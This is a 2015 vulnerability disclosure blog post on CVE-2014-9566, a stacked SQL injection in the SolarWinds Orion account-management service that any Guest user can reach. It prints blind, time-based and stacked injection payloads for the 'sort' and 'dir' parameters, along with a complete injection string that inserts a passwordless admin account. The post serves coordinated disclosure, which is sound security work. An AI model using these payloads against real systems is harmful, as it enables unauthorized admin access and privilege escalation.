Tuesday, February 24, 2015

Authenticated Stacked SQL injection in core Solarwinds Orion service (CVE-2014-9566)

Been a while since I wrote a post, so let's fix that.

I found a couple SQL injection vulnerabilities in the core Orion service used in most of the Solarwinds products (SAM, IPAM, NPM, NCM, etc…). This service provides a consistent configuration and authentication layer across the products.

To be exact, the vulnerable applications and versions are:

Network Performance Monitor -- < 11.5
NetFlow Traffic Analyzer -- < 4.1
Network Configuration Manager -- < 7.3.2
IP Address Manager -- < 4.3
User Device Tracker -- < 3.2
VoIP & Network Quality Manager -- < 4.2
Server & Application Monitor -- < 6.2
Web Performance Monitor -- < 2.2

At first glance, the injections are only available to admins, as the requests used are on the Manage Accounts page. However, it seems there is no real ACL check on the GetAccounts and GetAccountGroups endpoints of the AccountManagement.asmx service, which means that even authenticating as Guest allows for exploitation. By default, the Guest account has no password and is enabled.

On both the GetAccounts and GetAccountGroups endpoints, the 'sort' and 'dir' parameters are susceptible to boolean-/time-based, and stacked injections. By capturing the AJAX requests made by an admin user to these endpoints, authenticating as Guest and replacing the admin cookie with the Guest cookie, you can still make a successful request, and thus a successful exploitation vector for any authenticated user.

Being a stacked injection, this becomes a privilege escalation at the very least, as an attacker is able to insert their own admin user. A pull request for a Metasploit module which should achieve this on any product using the Orion service as the core authentication management system, using the GetAccounts endpoint, will be made. By default, the module attempts to authenticate as the Guest user with a blank password, then exploit the SQL injection to insert a new admin with a blank password.

I am not sure if the non-trial versions allow you to specify your own SQL server, but the trials install a SQL Server Express instance. The SQL user that the application uses is not an administrator, and the xp_cmd_shell stored procedure is unavailable.

Within the GetAccounts endpoint:

Parameter: dir (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
    Payload: sort=Accounts.AccountID&dir=ASC,(SELECT (CASE WHEN (5791=5791) THEN CHAR(65)+CHAR(83)+CHAR(67) ELSE 5791*(SELECT 5791 FROM master..sysdatabases) END))

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.AccountID&dir=ASC; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.AccountID&dir=ASC WAITFOR DELAY '0:0:5'--


Parameter: sort (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)
    Payload: sort=(SELECT (CASE WHEN (8998=8998) THEN CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(115)+CHAR(46)+CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(73)+CHAR(68) ELSE 8998*(SELECT 8998 FROM master..sysdatabases) END))&dir=ASC

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.AccountID; WAITFOR DELAY '0:0:5'--&dir=ASC

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.AccountID WAITFOR DELAY '0:0:5'--&dir=ASC



Within the GetAccountGroups endpoint, very similar injection techniques are available:

Parameter: dir (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
    Payload: sort=Accounts.GroupPriority&dir=ASC,(SELECT (CASE WHEN (8799=8799) THEN CHAR(65)+CHAR(83)+CHAR(67) ELSE 8799*(SELECT 8799 FROM master..sysdatabases) END))

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.GroupPriority&dir=ASC; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.GroupPriority&dir=ASC WAITFOR DELAY '0:0:5'--


Parameter: sort (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)
    Payload: sort=(SELECT (CASE WHEN (1817=1817) THEN CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(115)+CHAR(46)+CHAR(71)+CHAR(114)+CHAR(111)+CHAR(117)+CHAR(112)+CHAR(80)+CHAR(114)+CHAR(105)+CHAR(111)+CHAR(114)+CHAR(105)+CHAR(116)+CHAR(121) ELSE 1817*(SELECT 1817 FROM master..sysdatabases) END))&dir=ASC

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.GroupPriority; WAITFOR DELAY '0:0:5'--&dir=ASC

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.GroupPriority WAITFOR DELAY '0:0:5'--&dir=ASC


An example injection to insert an admin user named notadmin with a blank password using the 'dir' parameter would be:

ASC;insert into accounts values ('notadmin', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb  1 2100 12:00AM', 'Y', 'notadmin', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');

This vulnerability was reported to Solarwinds on Dec 8th, 2014 and was assigned the CVE identifier CVE-2014-9566. A coordinated disclosure date of Feb 24th, 2015 was chosen by both parties. I would like to thank Rob Hock, Group Product Manager – Network Management at Solarwinds for the easy coordination (you should still have a bug bounty though!).